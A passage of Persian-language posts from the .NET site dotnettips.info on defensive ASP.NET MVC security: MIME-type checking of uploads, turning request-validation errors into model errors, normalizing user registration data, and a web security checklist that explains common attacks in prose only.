                var length = (content.Length > 256) ? 256 : content.Length;
                Array.Copy(content, buffer, length);

                System.UInt32 mimetype;
                FindMimeFromData(0, null, buffer, 256, null, 0, out mimetype, 0);
```

```
                System.IntPtr mimeTypePtr = new IntPtr(mimetype);
                result = Marshal.PtrToStringUni(mimeTypePtr);
                Marshal.FreeCoTaskMem(mimeTypePtr);
            }
            catch (Exception ex)
            {
                //Log.WriteError(MethodInfo.GetCurrentMethod(), ex);
            }


            return result;
        }

    }
}
```

تنها نکته قابل توجه در این کد این‌است که در بدنه‌ی متد GetMimeType اگر طول آرایه از 256 بایت بیشتر شود، فقط از 256 بایت ابتدایی آن استفاده میکنیم. در غیر اینصورت کل بایت‌های آرایه، برای چک کردن محتوای فایل به کار گرفته میشوند. برای افزایش کارآیی، بهتر است هنگام فراخوانی این تابع، فقط 256 بایت را به آن ارسال کنید. بخصوص اگر حجم فایلی که باید چک شود زیاد باشد.

نحوه‌ی استفاده از کلاس فوق هم بسیار ساده است. برای مثال هنگام آپلود فایل در MVC می‌توانیم از آن استفاده کنیم:

```
[HttpPost]
        [ValidateAntiForgeryToken]
        public ActionResult Upload(HttpPostedFileBase file)
        {
            //ابتدا با مکانیزم مورد نظر خود پسوند فایل را چک میکنیم اگر پسوند معتبری بود بعد محتوای فایل را
چک میکنیم

            var data = new byte[256];
            file.InputStream.Read(data, 0, 256);
            var detector = new Parsnet.Core.MimeTypeDetector();
            var mimeType = detector.GetMimeType(data);
            if (CheckWhiteList(mimeType) == true)
            {
                file.SaveAs("yourpath");
            }
            else
            {
                ModelState.AddModelError("InvalidFileContent", "فایل بارگزاری شده مورد پذیرش نیست.");
            }
            return View();
        }
```

همیشه از یک مکانیزم دیگر برای اعتبارسنجی پسوند فایل استفاده کنید. برای اینکار می‌توان با تلفیق روش فوق و این روش یک کنترل اعتبارسنجی خوب ایجاد کرد که در مطالب بعدی حتما به آن خواهم پرداخت.

نظرات خوانندگان

نویسنده: احمد رجبی
تاریخ: ۱۳۹۴/۰۴/۲۴ ۱۱:۱۳

نکته: لیست MIME Type هایی که توسط این تابع پشتیبانی می‌شوند را میتوانید در اینجا ببینید.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۴/۰۴/۲۴ ۱۱:۲۸

یک نکته‌ی تکمیلی

در **4.5** ASP.NET به صورت توکار فضای نام System.Web.MimeMapping و متد GetMimeMapping ، اضافه شده‌اند (البته به نظر فقط بر اساس پسوند فایل کار می‌کند).

نویسنده: غلامرضا ربال
تاریخ: ۱۳۹۴/۰۴/۲۴ ۱۶:۳۰

لیست MimeTypeها به همراه Extension

```
private static readonly Dictionary<string, string> SpecialMIMETypes = new Dictionary<string, string>
        {
            {"ai", "application/postscript"},
            {"aif", "audio/x-aiff"},
            {"aifc", "audio/x-aiff"},
            {"aiff", "audio/x-aiff"},
            {"asc", "text/plain"},
            {"atom", "application/atom+xml"},
            {"au", "audio/basic"},
            {"avi", "video/x-msvideo"},
            {"bcpio", "application/x-bcpio"},
            {"bin", "application/octet-stream"},
            {"bmp", "image/bmp"},
            {"cdf", "application/x-netcdf"},
            {"cgm", "image/cgm"},
            {"class", "application/octet-stream"},
            {"cpio", "application/x-cpio"},
            {"cpt", "application/mac-compactpro"},
            {"csh", "application/x-csh"},
            {"css", "text/css"},
            {"dcr", "application/x-director"},
            {"dif", "video/x-dv"},
            {"dir", "application/x-director"},
            {"djv", "image/vnd.djvu"},
            {"djvu", "image/vnd.djvu"},
            {"dll", "application/octet-stream"},
            {"dmg", "application/octet-stream"},
            {"dms", "application/octet-stream"},
            {"doc", "application/msword"},
            {"docx","application/vnd.openxmlformats-officedocument.wordprocessingml.document"},
            {"dotx", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"},
            {"docm","application/vnd.ms-word.document.macroEnabled.12"},
            {"dotm","application/vnd.ms-word.template.macroEnabled.12"},
            {"dtd", "application/xml-dtd"},
            {"dv", "video/x-dv"},
            {"dvi", "application/x-dvi"},
            {"dxr", "application/x-director"},
            {"eps", "application/postscript"},
            {"etx", "text/x-setext"},
            {"exe", "application/octet-stream"},
            {"ez", "application/andrew-inset"},
            {"gif", "image/gif"},
            {"gram", "application/srgs"},
            {"grxml", "application/srgs+xml"},
            {"gtar", "application/x-gtar"},
            {"hdf", "application/x-hdf"},
            {"hqx", "application/mac-binhex40"},
            {"htc", "text/x-component"},
            {"htm", "text/html"},
            {"html", "text/html"},
            {"ice", "x-conference/x-cooltalk"},
```

```
        {"ico", "image/x-icon"},
        {"ics", "text/calendar"},
        {"ief", "image/ief"},
        {"ifb", "text/calendar"},
        {"iges", "model/iges"},
        {"igs", "model/iges"},
        {"jnlp", "application/x-java-jnlp-file"},
        {"jp2", "image/jp2"},
        {"jpe", "image/jpeg"},
        {"jpeg", "image/jpeg"},
        {"jpg", "image/jpeg"},
        {"js", "application/x-javascript"},
        {"kar", "audio/midi"},
        {"latex", "application/x-latex"},
        {"lha", "application/octet-stream"},
        {"lzh", "application/octet-stream"},
        {"m3u", "audio/x-mpegurl"},
        {"m4a", "audio/mp4a-latm"},
        {"m4b", "audio/mp4a-latm"},
        {"m4p", "audio/mp4a-latm"},
        {"m4u", "video/vnd.mpegurl"},
        {"m4v", "video/x-m4v"},
        {"mac", "image/x-macpaint"},
        {"man", "application/x-troff-man"},
        {"mathml", "application/mathml+xml"},
        {"me", "application/x-troff-me"},
        {"mesh", "model/mesh"},
        {"mid", "audio/midi"},
        {"midi", "audio/midi"},
        {"mif", "application/vnd.mif"},
        {"mov", "video/quicktime"},
        {"movie", "video/x-sgi-movie"},
        {"mp2", "audio/mpeg"},
        {"mp3", "audio/mpeg"},
        {"mp4", "video/mp4"},
        {"mpe", "video/mpeg"},
        {"mpeg", "video/mpeg"},
        {"mpg", "video/mpeg"},
        {"mpga", "audio/mpeg"},
        {"ms", "application/x-troff-ms"},
        {"msh", "model/mesh"},
        {"mxu", "video/vnd.mpegurl"},
        {"nc", "application/x-netcdf"},
        {"oda", "application/oda"},
        {"ogg", "application/ogg"},
        {"pbm", "image/x-portable-bitmap"},
        {"pct", "image/pict"},
        {"pdb", "chemical/x-pdb"},
        {"pdf", "application/pdf"},
        {"pgm", "image/x-portable-graymap"},
        {"pgn", "application/x-chess-pgn"},
        {"pic", "image/pict"},
        {"pict", "image/pict"},
        {"png", "image/png"},
        {"pnm", "image/x-portable-anymap"},
        {"pnt", "image/x-macpaint"},
        {"pntg", "image/x-macpaint"},
        {"ppm", "image/x-portable-pixmap"},
        {"ppt", "application/vnd.ms-powerpoint"},
        {"pptx","application/vnd.openxmlformats-officedocument.presentationml.presentation"},
        {"potx","application/vnd.openxmlformats-officedocument.presentationml.template"},
        {"ppsx","application/vnd.openxmlformats-officedocument.presentationml.slideshow"},
        {"ppam","application/vnd.ms-powerpoint.addin.macroEnabled.12"},
        {"pptm","application/vnd.ms-powerpoint.presentation.macroEnabled.12"},
        {"potm","application/vnd.ms-powerpoint.template.macroEnabled.12"},
        {"ppsm","application/vnd.ms-powerpoint.slideshow.macroEnabled.12"},
        {"ps", "application/postscript"},
        {"qt", "video/quicktime"},
        {"qti", "image/x-quicktime"},
        {"qtif", "image/x-quicktime"},
        {"ra", "audio/x-pn-realaudio"},
        {"ram", "audio/x-pn-realaudio"},
        {"ras", "image/x-cmu-raster"},
        {"rdf", "application/rdf+xml"},
        {"rgb", "image/x-rgb"},
        {"rm", "application/vnd.rn-realmedia"},
        {"roff", "application/x-troff"},
        {"rtf", "text/rtf"},
        {"rtx", "text/richtext"},
        {"sgm", "text/sgml"},
        {"sgml", "text/sgml"},
```

```
        {"sh", "application/x-sh"},
        {"shar", "application/x-shar"},
        {"silo", "model/mesh"},
        {"sit", "application/x-stuffit"},
        {"skd", "application/x-koan"},
        {"skm", "application/x-koan"},
        {"skp", "application/x-koan"},
        {"skt", "application/x-koan"},
        {"smi", "application/smil"},
        {"smil", "application/smil"},
        {"snd", "audio/basic"},
        {"so", "application/octet-stream"},
        {"spl", "application/x-futuresplash"},
        {"src", "application/x-wais-source"},
        {"sv4cpio", "application/x-sv4cpio"},
        {"sv4crc", "application/x-sv4crc"},
        {"svg", "image/svg+xml"},
        {"swf", "application/x-shockwave-flash"},
        {"t", "application/x-troff"},
        {"tar", "application/x-tar"},
        {"tcl", "application/x-tcl"},
        {"tex", "application/x-tex"},
        {"texi", "application/x-texinfo"},
        {"texinfo", "application/x-texinfo"},
        {"tif", "image/tiff"},
        {"tiff", "image/tiff"},
        {"tr", "application/x-troff"},
        {"tsv", "text/tab-separated-values"},
        {"txt", "text/plain"},
        {"ustar", "application/x-ustar"},
        {"vcd", "application/x-cdlink"},
        {"vrml", "model/vrml"},
        {"vxml", "application/voicexml+xml"},
        {"wav", "audio/x-wav"},
        {"wbmp", "image/vnd.wap.wbmp"},
        {"wbmxl", "application/vnd.wap.wbxml"},
        {"wml", "text/vnd.wap.wml"},
        {"wmlc", "application/vnd.wap.wmlc"},
        {"wmls", "text/vnd.wap.wmlscript"},
        {"wmlsc", "application/vnd.wap.wmlscriptc"},
        {"wrl", "model/vrml"},
        {"xbm", "image/x-xbitmap"},
        {"xht", "application/xhtml+xml"},
        {"xhtml", "application/xhtml+xml"},
        {"xls", "application/vnd.ms-excel"},
        {"xml", "application/xml"},
        {"xpm", "image/x-xpixmap"},
        {"xsl", "application/xml"},
        {"xlsx","application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"},
        {"xltx","application/vnd.openxmlformats-officedocument.spreadsheetml.template"},
        {"xlsm","application/vnd.ms-excel.sheet.macroEnabled.12"},
        {"xltm","application/vnd.ms-excel.template.macroEnabled.12"},
        {"xlam","application/vnd.ms-excel.addin.macroEnabled.12"},
        {"xlsb","application/vnd.ms-excel.sheet.binary.macroEnabled.12"},
        {"xslt", "application/xslt+xml"},
        {"xul", "application/vnd.mozilla.xul+xml"},
        {"xwd", "image/x-xwindowdump"},
        {"xyz", "chemical/x-xyz"},
        {"zip", "application/zip"}
    };
```

عنوان: **تبدیل خودکار استثنای HttpRequestValidationException به یک ModelError در ASP.NET MVC**
نویسنده: سالمیان
تاریخ: ۱۳۹۴/۰۴/۳۰ ۱:۴۰
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security, Validation

فرم هایی که اطلاعاتی را از یک کاربر دریافت کرده و به سمت سرور Post می‌کنند، از مهمترین اجزای لاینفک یک وب سایت می‌باشند. بی شک همه‌ی ما از چنین فرمهایی حتی در یک پروژه‌ی هرچند کوچک استفاده کرده‌ایم. ممکن است هنگام ارسال این فرمها، کاربری شیطنت به خرج داده و درون یکی از فیلدهای فرم، از عبارت‌های HTML و یا یک اسکریپت استفاده کرده باشد. در ASP.Net + MVC از مکانیزم ValidationRequest برای مقابله با چنین حملاتی (XSS) استفاده شده است.

یک فرم با یک Textbox در یک صفحه قرار دهید و درون Textbox یک تگ HTML بنویسید و آنرا به سرور ارسال کنید، در حالت پیش فرض اتفاقی که خواهد افتاد اینست که با یک صفحه‌ی خطا روبرو خواهید شد که به شما هشدار می‌دهد داده‌های ارسال شده، دارای مقادیر غیرمجازی می‌باشند. شما می‌توانید این مکانیزم اعتبارسنجی-امنیتی را غیرفعال کنید. برای غیرفعال کردن آن هم در لینکی که در فوق معرفی گردید توضیحات کافی داده شده است. ولی توصیه میشود برای جلوگیری از حملات XSS هیچگاه این مکانیزم را غیرفعال نکنید، مگر اینکه هیچ داده‌ای را بدون Encode کردن در صفحه نمایش ندهید.

راه‌های زیادی برای هندل کردن این خطا و مطلع کردن کاربر وجود دارند و معمولا از صفحه‌ی خطای سفارشی برای اینکار استفاده میشود. اما ایده‌ی بهتری نیز برای مقابله با این خطا وجود دارد!

فرض کنید اطلاعات فرم شما از طریق Ajax به سرور ارسال می‌شود و نتیجه بصورت Json به مروگر برگشت داده می‌شود. در حالت معمول در صورت رخ دادن خطای فوق، سرور کد 500 را برگشت می‌دهد و تنها راه هندل کردن آن در رویداد error شئ Ajax شما می‌باشد؛ آن‌هم با یک پیغام ساده. ولی من ترجیح می‌دهم به جای صادر کردن خطای 500، در صورت وقوع این خطا آن‌را بصورت یک خطای ModelState به کاربر نمایش دهم. به نظر من این‌کار وجهه‌ی بهتری دارد و ضمنا لازم نیست در هر رویدادی این خطا را هندل کنید. برای رسیدن به این هدف هم چندین راه وجود دارد که ساده‌ترین آن‌ها اینست که یک ModelBinder سفارشی ایجاد کنید و با هندل کردن این خطا، یک پیام خطا را به ModelState اضافه کنید و بعد به MVC بگویید که از این ModelBinder برای پروژه‌ی من استفاده کن. با این روش هرگاه کاربر داده‌ای حاوی کدهای HTML درون فیلدهای فرم وارد کرده باشد، بدون هیچ کار اضافه‌ای وضعیت ModelState شما Invalid می‌شود و خطای مدل به کاربر نمایش داده خواهد شد.

ابتدا کلاسی برای ModelBinder سفارشی خود ایجاد کنید و از کلاس DefaultModelBinder ارث بری کنید. سپس با بازنویسی متد BindModel آن منطق خود را پیاده سازی کنید:

```
using System.Web;
using System.Web.Mvc;
using System.Web.Helpers;
using System.Globalization;

namespace Parsnet
{
    public class ParsnetModelBinder : DefaultModelBinder
    {
        public override object BindModel(ControllerContext controllerContext, ModelBindingContext
bindingContext)
        {
            try
            {
                return base.BindModel(controllerContext, bindingContext);
            }
            catch (HttpRequestValidationException ex)
            {
                var modelState = new ModelState();
                modelState.Errors.Add("اطلاعات ارسالی شما دارای کدهای HTML می‌باشند.");
                var key = bindingContext.ModelName;
                var value =
controllerContext.RequestContext.HttpContext.Request.Unvalidated().Form[key];
                modelState.Value = new ValueProviderResult(value, value, CultureInfo.InvariantCulture);
                bindingContext.ModelState.Add(key, modelState);
            }

            return null;
        }
    }
}
```

در این کلاس ابتدا سعی میکنیم بطور عادی کار را به متد BindModel کلاس پایه بسپاریم. اگر داده‌های ارسال شده حاوی کد HTML

نباشد، بدون هیچ خطایی Model Binding صورت می‌گیرد. ولی در صورتیکه کاربر در فیلدی، از کدهای HTML استفاده کرده باشد، یک خطای HttpRequestValidationException رخ خواهد داد که با هندل کردن آن هدف خود را تامین می‌کنیم.
برای اینکار در قسمت catch بلوک مدیریت خطا، ابتدا یک نمونه از کلاس ModelState را میسازیم. بعد پیام خطای مورد نظر خود را به Errorsهای آن اضافه میکنیم. حال باید یک زوج کلید/مقدار برای این ModelState تعریف کنیم و به bindingContext اضافه کنیم. کلید ما در اینجا نام مدل جاری و مقدار آن هم نام فیلدی از فرم است که سبب بروز این خطا شده است.
حالا نهایت کاری که باید انجام دهیم اینست که در رویداد Application_Start این مدل بایندیگ سفارشی را جایگزین مدل بایندیگ پیش فرض کنیم:

```
ModelBinders.Binders.DefaultBinder = new ParsnetModelBinder();
```

کار تمام است. از حالا به بعد در صورتیکه کاربر در فیلدهای هر فرمی از سایت شما از کدهای HTML استفاده کند دیگر خطایی رخ نمی‌دهد و فقط ModelState در وضعیت Invalid قرار میگیرد که میتوانید با قرار دادن یک ValidationMessage یا ValidationSummary به راحتی خطا را به کاربر نشان دهید.

عنوان: **نرمال سازی اطلاعات کاربران در حین ثبت نام**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۴/۰۵/۰۷ ۱۴:۲۰
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, MVC, Security, ASP.NET Identity

شرایط دنیای واقعی، بسیار متفاوت است از طراحی‌های ساده‌ی اولیه‌ی ثبت نام. در طراحی‌های ساده، ایمیل، نام کاربری و بسیاری از اطلاعات دیگر باید منحصربفرد باشند. ایندکس منحصربفرد تعریف می‌کنید. قیود و اعتبار سنجی سمت سرور و سمت کاربر را اضافه می‌کنید. چقدر عالی! اما ... دنیای واقعی شکل دیگری را دارد!
یک روز با ایمیل username@gmail.com ثبت نام می‌کنند. فردا با ایمیل user.name@gmail.com ثبت نام خواهند کرد. پس فردا با ایمیل us.er.name@gmail.com و به همین ترتیب! امروز با نام «کاربر یک» ثبت نام می‌کنند. فردا با نام «کاربر یک»! امروز با نام «مجید» ثبت نام می‌کنند، فردا با نام «مـجـــیـــد»! همچنین علاقه‌ی شدیدی هم به استفاده از ایمیل‌های fake دارند (راه حل).
بنابراین نیاز است اطلاعات کاربران را پیش از ثبت نام نرمال سازی کرد. برای مثال نقطه‌های ایمیل‌های جیمیل را حذف کرد؛ یا اگر اجازه داده‌اید که در بین کلمات نام کاربری، فاصله‌ای را وارد کنند، فقط یک فاصله مجاز باشد و یا اگر نامی را ثبت می‌کنید، به فکر حالت‌های کش آمده‌ی آن مانند «مـجـــــــیـــــــــد» هم باید بود و آن‌را تبدیل به حالت اصلی‌اش کرد.

نرمال سازی ایمیل‌های gmail

تا جایی که اطلاع دارم، حداقل فیس بوک و جی‌میل، بکارگیری نقاط را در ایمیل‌ها مجاز می‌دانند. برای مثال ترکیب‌های زیر از دید gmail تنها یک ایمیل محسوب می‌شوند:

johndoe@gmail.com

john....doe@gmail.com

johndoe+spamsite@gmail.com

راه حل پیشنهادی:

```
public static string FixGmailDots(string email)
{
    if (string.IsNullOrWhiteSpace(email))
        return string.Empty;

    email = email.ToLowerInvariant().Trim();
    var emailParts = email.Split('@');
    var name = emailParts[0].Replace(".", string.Empty).Replace("+", string.Empty);
    var emailDomain = emailParts[1];

    string[] domainsAllowedDots =
    {
        "gmail.com",
        "facebook.com"
    };

    var isFromDomainsAllowedDots = domainsAllowedDots.Any(domain => emailDomain.Equals(domain));
    return !isFromDomainsAllowedDots ? email : string.Format("{0}@{1}", name, emailDomain);
}
```

در اینجا بررسی می‌شود که آیا دومین ایمیل دریافتی از سمت جیمیل یا فیس بوک است؟ اگر بله، آنگاه نقطه‌ها و +های آن‌ها حذف می‌شوند.
این بررسی باید در حین ثبت نام و همچنین ویرایش اطلاعات کاربری جهت نرمال سازی اطلاعات اعمال شود.
اگر سایت‌های دیگری هم هستند که بکارگیری نقاط را مجاز می‌دانند، آرایه‌ی domainsAllowedDots را تکمیل کنید.

نرمال سازی ورود حروف ویژه

نرمال سازی ابتدایی ثبت نام کاربران در سایت جاری به صورت ذیل است:

```
friendlyName =
```

```
friendlyName.ApplyCorrectYeKe().RemoveDiacritics().CleanUnderLines().RemovePunctuation();
var trimmedFriendlyName = friendlyName.Trim().Replace(" ", "");
```

با ApplyCorrectYeKe آشنایی دارید؛ همان یک دست کردن ی و ک فارسی و عربی است.

RemoveDiacritics همان حذف اعراب از کلمات است است.

متد پاکسازی underlineهای ویژه یا همان نام‌های کش آمده، به صورت زیر است:

```
public static string CleanUnderLines(string text)
{
    if (string.IsNullOrWhiteSpace(text))
        return string.Empty;

    const char chr1600 = (char)1600; //1600=ـ
    const char chr8204 = (char)8204; //=8204

    return text.Replace(chr1600.ToString(CultureInfo.InvariantCulture), "")
               .Replace(chr8204.ToString(CultureInfo.InvariantCulture), "");
}
```

و متد RemovePunctuation :

```
public static string RemovePunctuation(string text)
{
 return string.IsNullOrWhiteSpace(text) ? string.Empty : new string(text.Where(c =>
!char.IsPunctuation(c)).ToArray());
}
```

این موارد، «حداقل»هایی هستند که باید جهت نرمال سازی اطلاعات، در حین ثبت نام اعمال شوند.

نظرات خوانندگان

نویسنده: مجتبی آزاد
تاریخ: ۱۳۹۴/۰۵/۰۷ ۱۸:۴۳

سلام
طبق دستوری که برای حذف کردن علامت + نوشته شده، بعد از اجرای کد
ایمیل johndoe+spamsite@gmail.com به johndoespamsite@gmail.com تبدیل می‌شود. آیا بهتر یا صحیح‌تر نیست که مقدار بعد از علامت + حذف شود و ایمیل به این شکل در بیایید: johndoe@gmail.com ؟

عنوان: **چک لیست امنیتی پروژه های نرم افزاری تحت وب**
نویسنده: ح مراداف
تاریخ: ۱۳۹۴/۰۵/۱۰ ۱۲:۵
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, MVC, Security

مقدمه:

امروزه یکی از بزرگترین دغدغه‌های فعالان حوزه آی تی، برقراری امنیت اطلاعات می‌باشد. با پدید آمدن بانک‌های داده‌ای آماری و مالی، حساسیت مسئله صد چندان می‌شود. در ادامه چک لیستی را ارائه می‌نمایم که با کمک آن می‌توانید تا حدود بسیار خوبی امنیت نرم افزار تحت وب خود را برقرار نمایید. در برخی از موارد مثال‌هایی از تکنولوژی مایکروسافت آورده شده است که این بدلیل تخصص نویسنده در تکنولوژی‌های مایکروسافت می‌باشد. در صورتیکه شما از تکنولوژی‌ها و زبان‌های سورس باز بهره می‌برید، می‌بایست معادل مورد ذکر شده را در زبان مورد استفاده خود بیابید .
ابتدا اجازه دهید مقداری با حملات آشنا شویم و سپس راه مقابله را در کنار هم بررسی نماییم.

مهمترین و خطرناک‌ترین حملات سطح وب :

حمله XSS

این نوع حملات بدین صورت است که هکر با استفاده از فرم‌های عمومی یا خصوصی (پنل‌های سایت) اقدام به ثبت کدهای مخرب جاوااسکریپت درون دیتابیس شما می‌نماید. همانطور که می‌دانید پایه اصلی سیستم‌های احراز هویت، ساخت فایل کوکی بر روی کامپیوتر کاربران می‌باشد. زمانی که مطلب ثبت شده‌ی هکر برای کاربران شما نمایش داده می‌شود، کدهای جاوا اسکریپت هکر روی مرورگر کاربر، اجرا شده و اطلاعات کوکی‌های کاربر به راحتی برای سایت هکر ارسال می‌شود (معمولا هکر یک صفحه روی وب می‌سازد تا بتواند اطلاعات دریافتی از کدهای جاوا اسکریپت خود را دریافت و در جایی ذخیره کند).
حال هکر به راحتی کوکی را بر روی مرورگر خودش تنظیم می‌کند و بعد وارد سایت شما می‌شود. سیستم شما او را با کاربر شما اشتباه می‌گیرد و به راحتی هکر به اطلاعات پنل کاربری کاربر(ان) شما دست پیدا می‌کند.

حمله SQL Injection

این حمله معروفترین حمله است که تقریبا با قدرت می‌توانم بگویم که درتکنولوژی ASP.Net با امکانات فوق العاده‌ای که بصورت توکار در دات نت در نظر گرفته شده است، بصورت کامل به فراموشی سپرده شده است. فقط 2 تا نکته‌ی ریز هست که باید در کدهایتان رعایت کنید و تمام.
این حمله بدین صورت است که هکر یک سری دستورات SQL را در کوئری استرینگ، به صفحات تزریق می‌کند و بدین صورت می‌تواند در کدهای کوئری TSQL شما اختلال ایجاد کند و اطلاعات جداول شما را بدست بیاورد. در این نوع حمله، هکر از طریق باگ سطح کد نویسی کدهای نرم افزار، به دیتابیس حمله می‌کند و اطلاعاتی مثل نام کاربری و کلمه‌ی عبور ادمین یا کاربران را می‌دزد و بعد می‌رود داخل پنل و خرابکاری می‌کند.

حمله CSRF

این حمله یکی از جالب‌ترین و جذاب‌ترین نوع حملات است که هوش بالای دوستان هکر را نشون می‌دهد. عبارت CSRF مخفف Cross Site Request Forgery است (احتمالا دوستان ام وی سی کار، این عبارت برایشان آشناست).
در این نوع حمله هکر یک فایل برای کاربر شما از طریق ایمیل یا روش‌های دیگر ارسال می‌کند و کاربر را به این سمت سوق می‌دهد که فایل را باز کند. کاربر یک فایل به ظاهر معمولی مثل عکس یا ... را می‌بیند و فایل را باز می‌کند. وقتی فایل باز می‌شود دیتای خاصی دیده نمی‌شود و گاهی هم اروری مبنی بر ناقص بودن فایل یا ... به کاربر نمایش داده می‌شود و کاربر فکر می‌کند که فایل، ناقص برای ارسال شده ...
اما در حقیقت با کلیک بر روی فایل و باز کردن آن یک درخواست POST از کامپیوتر کاربر برای سایت شما ارسال می‌شود و در صورتیکه کاربر در آن زمان در سایت شما لاگین باشد، سایت درخواست را با روی باز می‌پذیرد و درخواست را اجرا می‌کند. بدین

صورت هکر می‌تواند درخواست‌هایی را به سرویس‌های سایت شما که مثلا برای حذف یک سری داده است، ارسال کند و اطلاعات کاربر را حذف کند.

حمله Brute Force

در این حمله، هکر از یک سری برنامه برای ارسال درخواست‌های مکرر به فرم‌های سایت شما استفاده می‌کند و بدین صورت فرم‌های عمومی سایت شما مورد حجوم انبوهی از درخواست‌ها قرار می‌گیرد که این امر در بهترین حالت موجب ثبت کلی دیتای اسپم در دیتابیس شما و در بدترین حالت موجب داون شدن سایت شما می‌شود.

حمله DDOS

این نوع حمله مانند حمله Brute Force است؛ با این تفاوت که درخواست به همه‌ی صفحات شما ارسال می‌شود و معمولا درخواست‌ها از چندین سرور مختلف برای سایت شما ارسال می‌شوند و حجم درخواست‌ها به قدری زیاد است که عملا سرور شما هنگ می‌کند و کاملا از دسترس خارج می‌شود. این نوع حمله در سطح کد راه حل زیادی ندارد و در سطح سرور و فایروال باید حل شود و حل آن هم بدین صورت است که درخواست‌های بیش از حد طبیعی از یک آی پی خاص تشخیص داده شده و به سرعت، آی پی بلاک می‌شود و از آن به بعد درخواست‌های آن آی پی در فایروال از بین می‌رود و دیگه به سرور نمیرسد.

حمله SHELL

شل فایلی است خطرناک که اگر بر روی سرور سایت شما آپلود و اجرا شود، هکر از طریق آن دسترسی کاملی به کل سرور سایت شما خواهد داشت. فایل‌های دیگری با نام بک‌دور [1] نیز وجود دارند که نویسنده تمایل دارد آنها را نیز از نوع حمله SHELL معرفی نماید. این نوع از فایل‌ها به مراتب بسیار خطرناک‌تر از فایل‌های شل می‌باشند؛ تا جایی که ممکن است سال‌ها هکر به سروی دسترسی داشته باشد و مدیر سرور کاملا از آن بی خبر باشد. اینجاست که باید شدیدا مراقب فایل‌هایی که روی سایت شما آپلود می‌شوند باشید. نویسنده به تمامی خوانندگان پیشنهاد می‌نماید، در صورتیکه نرم افزار حساسی دارند، حتما از سرور اختصاصی استفاده نمایند؛ چرا که در هاست‌های اشتراکی که در آنها فضا و امکانات یک سرور بصورت اشتراکی در اختیار چندین سایت قرار می‌گیرد، وجود باگ امنیتی در سایر سایت‌های موجود بر روی سرور اشتراکی می‌تواند امنیت سایت شما را نیز به مخاطره بیاندازد. نویسنده تهیه‌ی سرور اختصاصی را شدیدا به توسعه دهندگان سایت‌های دارای تراکنش‌های بانکی بالا (داخلی یا خارجی) پیشنهاد می‌نماید. زیرا درگاه تراکنش‌های بانکی بر روی آی پی هاست شما قفل می‌شوند و در صورتیکه سرور بصورت اختصاصی تهیه شده باشد، آی پی سرور شما فقط و فقط در اختیار شماست و هکر نمی‌تواند با تهیه هاستی بر روی سرور اشتراکی شما، به راحتی آی پی قفل شده در درگاه بانکی شما را در اختیار داشته باشد. بدیهی است تنها در اختیار داشتن آی پی سرور شما جهت انجام خرابکاری در درگاه بانکی شما کافی نیست. ولی به نظر نویسنده این مورد در بدترین حالت ممکن 30% کار هکر می‌باشد. البته بحث حمله شل به سطح مهارت متخصصان سرورها نیز بستگی دارد. نویسنده اظهار می‌دارد اطلاعات دقیقی از تنظیماتی که بتواند جلوی اجرای انواع شل و یا جلوی دسترسی فایل‌های شل را بگیرد، ندارد. بنابراین از متخصصان این حوزه دعویت می‌نماید اطلاعاتی درباره این موضوع ارائه نمایند.

حمله SNIFF

در این نوع حملات، هکر پکت‌های رد و بدل شده‌ی بین کاربران و سرور شما را شنود می‌نماید و به راحتی می‌تواند اطلاعات مهمی مثل نام کاربری و رمز عبور کاربران شما را بدست آورد.

چک لیست امنیتی پروژه‌های نرم افزاری تحت وب

- بررسی کامل ورودی‌های دریافتی از فرم‌های سایت؛ هم در سمت کلاینت و هم در سطح سرور .
- در تکنولوژی دات نت به منظور تمیز سازی ورودی‌ها و حذف تگهای خطرناکی همچون تگ script، کتابخانه‌ای با نام Microsoft.Security.Application وجود دارد. کتابخانه‌های سورس باز دیگری نیز وجود دارند که نمونه آن کتابخانه AntiXss [2] سایت نوگت [3] می‌باشد.

- بررسی کامل ورودی‌های دریافتی از کوئری استرینگ‌های [4] سایت. اگر از ASP.Net MVC استفاده می‌نمایید، تا حدی زیادی نیاز به نگرانی نخواهد داشت، زیرا تبدیلات [5] در سیستم Model Binding انجام می‌پذیرد و این موضوع تا حد زیادی شما را در برابر حملات SQL Injection مقاوم می‌نماید.

- حتما در فرم‌های عمومی سایتتان از تصویر کپچا با امنیت بالا استفاده نمایید. این موضوع جهت شناخت روبات‌ها از انسان‌ها می‌باشد و شما را در برابر حملات Brute Force مقاوم می‌نماید.

- حتما سیستم شخصی سازی صفحات ارور را فعال نمایید و از نمایش صفحات ارور حاوی اطلاعات مهمی مانند صفحات ارور ASP.Net جلوگیری نمایید. این موضوع بسیار حساس می‌باشد و می‌تواند نقاط ضعف نرم افزار شما را برای هکر نمایان کند. حتی ممکن است اطلاعات حساسی مانند نام بانک اطلاعاتی، نام کاربری اتصال به بانک اطلاعاتی و نام جداول بانک اطلاعاتی شما را در اختیار هکر قرار دهد.

- استفاده از ORM ها یا استفاده از پروسیجرهای پارامتریک. این موضوع کاملا شما را در برابر حملات SQL Injection مقاوم می‌نماید. کما اینکه ORM ها، سطحی از کش را بصورت توکار دارا می‌باشند و این موضوع در سرعت دستیابی به داده‌ها نیز بسیار تاثیر گذار است. از طرف دیگر بانک اطلاعاتی SQL نیز امکانات توکاری جهت کش نمودن پرس و جوهای [6] پارامتریک دارد.

- لاگ کردن ارورهای سطح کد و سطح روتینگ [7] . یکی از مهمترین خصیصه‌های پروژه‌های با کیفیت، لاگ شدن خطاهای سطح کد می‌باشد. این امر شما را با نقاط حساس و ضعف‌های نرم افزار آگاه می‌سازد و به شما اجازه می‌دهد به سرعت در جهت رفع آنها اقدام نمایید. لاگ نمودن خطاهای سطح روتینگ شما را از فعالیت‌های هکرها جهت یافتن صفحات لاگین و صفحات مدیریتی پنل مدیریتی سایت اگاه می‌نماید، همچنین شما را از حملات SQL Injection نیز آگاه می‌نماید.

- جلوگیری از ایندکس شدن صفحات لاگین پنل مدیریت سایت در موتورهای جستجو. بخش مهمی از عملیات هکر ها، قرار دادن روبات‌های تشخیص رمز بر روی صفحات لاگین می‌باشد که به نوعی می‌توان این نوع حملات را در دسته حملات Brute Force قرار داد. موتورهای جستجو یکی از ابزارهای مهم هکرها می‌باشد. عملیات هایی مانند یافتن صفحات لاگین پنل مدیریتی یکی از کاربردهای موتورهای جستجو برای هکرها می‌باشد.

